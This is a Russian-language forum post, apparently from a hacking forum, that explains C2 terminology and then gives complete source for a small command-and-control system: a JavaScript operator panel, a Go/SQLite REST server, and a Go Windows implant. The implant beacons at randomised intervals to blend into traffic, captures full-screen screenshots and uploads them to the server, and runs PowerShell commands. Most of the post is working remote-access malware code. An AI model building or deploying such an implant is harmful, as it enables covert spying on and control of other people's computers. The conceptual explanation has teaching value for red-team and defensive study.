Разбираемся в том, что такое С2, на примере написания собственного кода

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: miserylord
Эксклюзивно для форума:
xss.is

🦖 Это динозавр, он мертв, а мы всё ещё живы. miserylord на связи, улыбнись!

Меня заинтересовала тема фреймворков пост-эксплуатации, но определённые моменты казались слегка нечёткими, и если вы столкнулись с такой же проблемой, давайте разберёмся вместе и построим C2 собственными руками в том смысле, в котором я его понимаю!

C2 — сервер команд и контроля, база и основа красной команды. Получив доступ к машине, то есть эксплуатировав её, следующим логичным шагом выступит пост-эксплуатация. Не уходя в большие фреймворки, для установки контроля необходимо открыть шелл. Они бывают двух видов — блайнд и реверс: один стучится на сервер сам, другой ждёт подключения. Это в целом не важно. Важно то, что такое шелл. А шелл — это как будто открыть терминал, типа как в Линуксе или ПоверШелл, и писать туда команды, командовать машиной, но только через посредника. В рамках реальных примеров в любых туториалах вы могли видеть это через netcat. Netcat — это маленький-маленький C2, тогда как Cobalt Strike — большой-большой C2. Но всё это, по сути своей, одно и то же.

Идём дальше по терминологии. Следующее слово, которое вечно фигурирует в теме, — это некий бекон. Что это такое? Вернёмся к netcat: во время работы с ним работа происходит в режиме сессий, то есть вы мгновенно стучитесь с указаниями и тут же получаете результат. Но в основном C2 работает в другом режиме — beacon, что в переводе на русский значит маяк. Его принцип работы заключается в интервальном опрашивании сервера на наличие команд. И да, в таком режиме не получится общаться мгновенно. В то же время этот режим позволяет быть более гибким в контексте соединения, транспорта, скрытности.

На самом деле этих знаний уже достаточно, чтобы постепенно переходить к написанию проекта. Хотя в контексте существуют ещё ряд терминов. Например:

  • Стейджи — это такие штуки, которые позволяют подгружать пейлоды в модульном режиме.
  • А также куча моментов, связанных с AV (антивирусными технологиями) — EDR, MDR, XDR.

Перейдём к моментам архитектуры. Имплант, он же агент, он же по сути ратник — это программа, запущенная на инфицированном устройстве, которая с интервальной регулярностью стучится в режиме маячка по адресу C2-сервера на предмет получения заданий и отсылает назад результаты их выполнения. Следующий этап — это транспорт, то есть канал связи. И это могут быть совсем неочевидные штуки. Пусть и очень распространённые, такие как DNS — изначально это супер неочевидное решение. Также решениями могут выступать 3D-сервисы, ну и, конечно же, стандартные протоколы типа HTTPS. Далее сам C2 — это, по сути, просто сервер, на котором крутится программа, которая понимает сигналы от импланта и способна выдать команды ему. Это может быть, например, REST API. Вы можете повстречать здесь ещё один термин — Listening Post (LP). LP — это термин, который иногда используется для описания интерфейса REST API в C2-сервере. LP — это место, где C2 "слушает" запросы от маячков и управляет ими. REST API — это один из способов реализации LP. Наконец, есть клиент. Это программа, запущенная вообще на третьей машине. Это может быть, например, веб-клиент, который может общаться с LP C2. В рамках клиента оператор может задавать команды импланту посредством реализованного API. Также в клиенте может быть реализован функционал для билда новых имплантов или конфигурации текущих.

Ну всё, переходим к технологиям и тестированию. В качестве клиента будет выступать веб на ванильном JavaScript, в качестве сервера, да простят меня боги, — Golang и SQLite как база данных. Транспортом будет HTTP, а в качестве языка программирования для импланта я также выбрал Golang, поскольку он визуально намного понятнее C. В качестве операционной системы — Windows 10.

Определяем функционал. Пускай будет несколько простых демонстрационных функций: пинг импланта, проверка, запущен ли процесс Google Chrome, а также снятие скриншота экрана.

Начнем с клиентского кода. Создадим файл index.html и реализуем тривиальный код. Добавим немного CSS для придания внешнему виду эстетичности, возможность добавления команд импланту из заранее определенного списка, а также вывод результатов работы. Ниже реализуем эндпоинты.

HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>dracarys C2</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f9;
            color: #333;
            margin: 0;
            padding: 0;
        }

        h1, h2 {
            text-align: center;
            margin-top: 20px;
            color: #444;
        }

        form {
            max-width: 400px;
            margin: 20px auto;
            padding: 20px;
            background: #ffffff;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
        }

        label {
            display: block;
            margin-bottom: 10px;
            font-weight: bold;
        }

        select, input[type="submit"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 15px;
            border: 1px solid #ccc;
            border-radius: 4px;
        }

        input[type="submit"] {
            background-color: #007BFF;
            color: #ffffff;
            font-weight: bold;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        input[type="submit"]:hover {
            background-color: #0056b3;
        }

        table {
            width: 90%;
            margin: 20px auto;
            border-collapse: collapse;
            background: #ffffff;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
        }

        th, td {
            padding: 10px;
            text-align: left;
            border: 1px solid #ddd;
        }

        th {
            background-color: #007BFF;
            color: white;
        }

        tr:nth-child(even) {
            background-color: #f9f9f9;
        }

        tr:hover {
            background-color: #f1f1f1;
        }
    </style>
</head>
<body>
    <h1>Add Task</h1>

    <form id="taskForm">
        <label for="task">Add task:</label>
        <select name="task" id="task">
            <option value="PING">PING</option>
            <option value="SCREENSHOT">SCREENSHOT</option>
            <option value="CHECK_IS_CHROME_RUNNING">CHECK_IS_CHROME_RUNNING</option>
        </select>
        <br><br>
        <input type="submit" value="Submit">
    </form>

    <h2>History</h2>

    <table id="historyTable">
        <thead>
            <tr>
                <th>Task ID</th>
                <th>Name</th>
                <th>Result</th>
            </tr>
        </thead>
        <tbody>

        </tbody>
    </table>

    <script>
        const taskForm = document.getElementById('taskForm');
        const historyTableBody = document.querySelector('#historyTable tbody');

        taskForm.addEventListener('submit', async (event) => {
            event.preventDefault();

            const task = document.getElementById('task').value;
            const apiUrl = 'http://1.1.1.1:8080/tasks';

            try {
                const response = await fetch(apiUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({ name: task })
                });

                if (response.ok) {
                    alert('Task submitted successfully!');
                    fetchHistory();
                } else {
                    alert('Failed to submit task.');
                }
            } catch (error) {
                console.error('Error:', error);
                alert('Error submitting task.');
            }
        });

        async function fetchHistory() {
            const historyApiUrl = 'http://1.1.1.1:8080/history';

            try {
                const response = await fetch(historyApiUrl);

                if (response.ok) {
                    const data = await response.json();
                    renderHistory(data);
                } else {
                    console.error('Failed to fetch history');
                }
            } catch (error) {
                console.error('Error fetching history:', error);
            }
        }

        function renderHistory(data) {
            historyTableBody.innerHTML = '';

            data.forEach((item) => {
                const row = document.createElement('tr');

                const taskIdCell = document.createElement('td');
                taskIdCell.textContent = item.task_id;
                row.appendChild(taskIdCell);

                const nameCell = document.createElement('td');
                nameCell.textContent = item.name;
                row.appendChild(nameCell);

                const resultCell = document.createElement('td');
                resultCell.textContent = item.result.substring(0, 10);
                row.appendChild(resultCell);

                historyTableBody.appendChild(row);
            });
        }

        fetchHistory();
    </script>
</body>
</html>

Вот как это будет выглядеть по итогу:
1.png



Далее переходим к серверу для разработки API. В качестве фреймворка будет выбран Gin. По плану будет несколько эндпоинтов. Первый блок — это задачи: добавление задач с клиента, получение задач для импланта, а также удаление задачи по ID для импланта. Второй блок — это история: добавление в историю выполненной задачи для импланта. Также в основном коде откроем CORS с помощью middleware для корректной работы в браузерах. Сервер будет запущен на порту 8080.
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "github.com/gin-gonic/gin"
    "c2d/db"
    "c2d/handlers"
    "net/http"
)

func main() {
    db.InitDatabase()
    defer db.DB.Close()

    r := gin.Default()

    r.Use(func(c *gin.Context) {
        c.Writer.Header().Set("Access-Control-Allow-Origin", "*")
        c.Writer.Header().Set("Access-Control-Allow-Methods", "GET, POST, DELETE, PUT, OPTIONS")
        c.Writer.Header().Set("Access-Control-Allow-Headers", "Origin, Content-Type, Authorization")
        c.Writer.Header().Set("Access-Control-Allow-Credentials", "true")

        if c.Request.Method == "OPTIONS" {
            c.AbortWithStatus(http.StatusNoContent)
            return
        }

        c.Next()
    })

    r.POST("/tasks", handlers.AddTaskHandler)
    r.GET("/tasks", handlers.GetTasksHandler)
    r.DELETE("/tasks/:id", handlers.DeleteTaskHandler)

    r.POST("/history", handlers.AddHistoryHandler)
    r.GET("/history", handlers.GetHistoryHandler)

    r.Run(":8080")
}
```

Модели для работы с API — History и Task.

```
package models

type Task struct {
ID int `json:"id"`
Name string `json:"name"`
}

type History struct {
TaskID int `json:"task_id"`
Name string `json:"name"`
Result string `json:"result"`
}


Код пакета db: функция InitDatabase инициализирует базу данных и создает таблицы, если их нет. Создаем таблицу задач, затем — таблицу истории.
C-подобный: Скопировать в буфер обмена
Код:
package db

import (
    "database/sql"
    "log"

    _ "github.com/mattn/go-sqlite3"
)

var DB *sql.DB

func InitDatabase() {
    var err error
    DB, err = sql.Open("sqlite3", "tasks.db")
    if err != nil {
        log.Fatal("Failed to connect to database:", err)
    }

    createTasksTableQuery := `
    CREATE TABLE IF NOT EXISTS tasks (
        id INTEGER NOT NULL PRIMARY KEY,
        name TEXT NOT NULL
    );`
    _, err = DB.Exec(createTasksTableQuery)
    if err != nil {
        log.Fatal("Failed to create tasks table:", err)
    }

    createHistoryTableQuery := `
    CREATE TABLE IF NOT EXISTS history (
        task_id INTEGER NOT NULL,
        name TEXT NOT NULL,
        result TEXT NOT NULL
    );`
    _, err = DB.Exec(createHistoryTableQuery)
    if err != nil {
        log.Fatal("Failed to create history table:", err)
    }
}
```

Код файла task_handler.go: Функция generateRandomID генерирует случайный ID в диапазоне от 0 до 999999 и проверяет его уникальность. AddTaskHandler добавляет новую задачу с случайным ID, GetTasksHandler возвращает все задачи, а DeleteTaskHandler удаляет задачу по ID.

C-подобный: Скопировать в буфер обмена
Код:
package handlers

import (
    "math/rand"
    "net/http"
    "time"

    "github.com/gin-gonic/gin"
    "c2d/db"
    "c2d/models"
)

func generateRandomID() int {
    for {
        id := rand.Intn(1000000)
        var exists bool
        err := db.DB.QueryRow("SELECT EXISTS(SELECT 1 FROM tasks WHERE id = ?)", id).Scan(&exists)
        if err == nil && !exists {
            return id
        }
    }
}

func AddTaskHandler(c *gin.Context) {
    var task models.Task
    if err := c.ShouldBindJSON(&task); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid input"})
        return
    }

    task.ID = generateRandomID()
    _, err := db.DB.Exec("INSERT INTO tasks (id, name) VALUES (?, ?)", task.ID, task.Name)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to add task"})
        return
    }

    c.JSON(http.StatusOK, task)
}

func GetTasksHandler(c *gin.Context) {
    rows, err := db.DB.Query("SELECT id, name FROM tasks")
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to fetch tasks"})
        return
    }
    defer rows.Close()

    var tasks []models.Task
    for rows.Next() {
        var task models.Task
        if err := rows.Scan(&task.ID, &task.Name); err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to scan task"})
            return
        }
        tasks = append(tasks, task)
    }

    c.JSON(http.StatusOK, tasks)
}

func DeleteTaskHandler(c *gin.Context) {
    id := c.Param("id")
    _, err := db.DB.Exec("DELETE FROM tasks WHERE id = ?", id)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to delete task"})
        return
    }

    c.JSON(http.StatusOK, gin.H{"message": "Task deleted"})
}


Наконец, код history_handler.go с функциями для добавления в историю, а также для получения всей истории команд.
C-подобный: Скопировать в буфер обмена
Код:
package handlers

import (
    "net/http"
    "c2d/db"
    "c2d/models"

    "github.com/gin-gonic/gin"
)

func AddHistoryHandler(c *gin.Context) {
    var history models.History
    if err := c.ShouldBindJSON(&history); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid input"})
        return
    }

    _, err := db.DB.Exec("INSERT INTO history (task_id, name, result) VALUES (?, ?, ?)",
        history.TaskID, history.Name, history.Result)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to add history"})
        return
    }

    c.JSON(http.StatusOK, history)
}

func GetHistoryHandler(c *gin.Context) {
    rows, err := db.DB.Query("SELECT task_id, name, result FROM history")
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to fetch history"})
        return
    }
    defer rows.Close()

    var historyEntries []models.History
    for rows.Next() {
        var history models.History
        if err := rows.Scan(&history.TaskID, &history.Name, &history.Result); err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to scan history"})
            return
        }
        historyEntries = append(historyEntries, history)
    }

    c.JSON(http.StatusOK, historyEntries)
}


Запускаем сервер и переходим к написанию импланта.
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bytes"
    "encoding/base64"
    "encoding/json"
    "fmt"
    "image/png"
    "log"
    "math/rand"
    "net/http"
    "os/exec"
    "time"

    "github.com/kbinani/screenshot" // 1
)

const (
    serverAddr = "" // 2
)


// 3
type Task struct {
    ID   int    `json:"id"`
    Name string `json:"name"`
}

type Response []Task

type TaskResult struct {
    TaskID int    `json:"task_id"`
    Name   string `json:"name"`
    Result string `json:"result"`
}

// 4
func getRandomInterval(min, max int) time.Duration {
    return time.Duration(rand.Intn(max-min)+min) * time.Second
}

// 5
func fetchTasks() (Response, error) {
    resp, err := http.Get(serverAddr + "/tasks")
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()

    var tasks Response
    if err := json.NewDecoder(resp.Body).Decode(&tasks); err != nil {
        return nil, err
    }
    return tasks, nil
}

// 6
func deleteTask(id int) error {
    req, err := http.NewRequest("DELETE", fmt.Sprintf("%s/tasks/%d", serverAddr, id), nil)
    if err != nil {
        return err
    }
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return fmt.Errorf("failed to delete task, status code: %d", resp.StatusCode)
    }
    return nil
}

// 7
func sendTaskResult(taskResult TaskResult) error {
    data, err := json.Marshal(taskResult)
    if err != nil {
        return err
    }
    resp, err := http.Post(serverAddr+"/history", "application/json", bytes.NewBuffer(data))
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return fmt.Errorf("failed to send task result, status code: %d", resp.StatusCode)
    }
    return nil
}

// 8
func takeScreenshot() ([]byte, error) {
    bounds := screenshot.GetDisplayBounds(0)

    img, err := screenshot.CaptureRect(bounds)
    if err != nil {
        return nil, fmt.Errorf("error capturing screenshot: %v", err)
    }

    var buf bytes.Buffer
    if err := png.Encode(&buf, img); err != nil {
        return nil, fmt.Errorf("error encoding screenshot: %v", err)
    }

    return buf.Bytes(), nil
}

// 9
func isChromeRunning() (bool, error) {
    cmd := exec.Command("powershell", "Get-Process chrome -ErrorAction SilentlyContinue")
    output, err := cmd.CombinedOutput()
    if err != nil {
        return false, err
    }
    return len(output) > 0, nil
}

// 10
func handleTask(task Task) {
    if task.Name == "PING" {
        result := TaskResult{
            TaskID: task.ID,
            Name:   task.Name,
            Result: "PONG",
        }

        if err := sendTaskResult(result); err != nil {
            log.Printf("Error sending task result: %v\n", err)
        }

        if err := deleteTask(task.ID); err != nil {
            log.Printf("Error deleting task: %v\n", err)
        } else {
            log.Printf("Task %d completed and deleted successfully.\n", task.ID)
        }
    } else if task.Name == "SCREENSHOT" {
        imgData, err := takeScreenshot()
        if err != nil {
            log.Printf("Error taking screenshot: %v\n", err)
            return
        }

        result := TaskResult{
            TaskID: task.ID,
            Name:   task.Name,
            Result: base64.StdEncoding.EncodeToString(imgData),
        }

        if err := sendTaskResult(result); err != nil {
            log.Printf("Error sending task result: %v\n", err)
        }

        if err := deleteTask(task.ID); err != nil {
            log.Printf("Error deleting task: %v\n", err)
        } else {
            log.Printf("Screenshot task %d completed and deleted successfully.\n", task.ID)
        }
    } else if task.Name == "CHECK_IS_CHROME_RUNNING" {
        isRunning, err := isChromeRunning()
        if err != nil {
            log.Printf("Error checking if Chrome is running: %v\n", err)
            return
        }

        result := TaskResult{
            TaskID: task.ID,
            Name:   task.Name,
            Result: fmt.Sprintf("Chrome running: %v", isRunning),
        }

        if err := sendTaskResult(result); err != nil {
            log.Printf("Error sending task result: %v\n", err)
        }

        if err := deleteTask(task.ID); err != nil {
            log.Printf("Error deleting task: %v\n", err)
        } else {
            log.Printf("Chrome check task %d completed and deleted successfully.\n", task.ID)
        }
    }
}

// 11
func main() {
    rand.Seed(time.Now().UnixNano())

    for {
        tasks, err := fetchTasks()
        if err != nil {
            log.Printf("Error fetching tasks: %v\n", err)
        } else {
            log.Printf("Tasks fetched: %v\n", tasks)

            for _, task := range tasks {
                handleTask(task)
            }
        }

        time.Sleep(getRandomInterval(5, 30))
    }
}


  1. Я подключу библиотеку github.com/kbinani/screenshot для работы со скриншотами, поскольку она позволяет реализовать функционал без рутированного доступа.
  2. Задаем переменную с адресом сервера.
  3. Определяем структуры для общения с API.
  4. Генерируем случайный временной интервал (в секундах) между min и max. Это используется для циклической паузы между запросами к серверу. Интервальное обращение необходимо для сокрытия в рамках сетевого трафика во время анализа.
  5. Получаем список задач с сервера.
  6. Удаляем задачу, отправляя DELETE-запрос с указанием её ID.
  7. Реализуем функцию для отправки результата выполнения задачи на сервер.
  8. Функция для создания скриншота экрана. Метод png.Encode преобразует изображение в формат PNG и записывает данные в bytes.Buffer, что позволяет передавать их в бинарном формате по сети. Стоит отметить, что объём данных получается достаточно большим. Тем не менее, это позволяет наладить процесс в рамках API. Для других данных я бы предложил использовать третий сервер, который бы разделял функционал, на него передавались бы данные, а затем формировалась ссылка, которая записывалась бы в API. Однако в случае изображения его можно передавать непосредственно через сеть в указанном формате.
  9. Функция, проверяющая, запущен ли браузер Chrome на компьютере. Используется вызов команды PowerShell через os/exec. Метод exec.Command формирует команду для выполнения: Get-Process chrome: проверяет список процессов и ищет процесс chrome. ErrorAction SilentlyContinue: подавляет ошибки, если процесс chrome отсутствует. Команда возвращает список процессов Chrome, если они запущены, или пустой вывод. По сути, управление реализуется так, словно мы открываем PowerShell и удалённо управляем устройством. Это весьма наглядная функция.
  10. Управление задачами реализуем через switch, задавая заранее определённые команды. Помимо CHECK_IS_CHROME_RUNNING и SCREENSHOT, существует команда PING, которая в ответ возвращает PONG.
  11. В функции main с заданным интервалом фетчим задачи с сервера и выполняем их.

Код явно демонстрирует работу простого C2. Не думаю, что стоит разрабатывать кастомное решение, тем не менее, его разработка позволит более чётко понять структуру C2-сервера.

Трям! Пока!
 
Сверху Снизу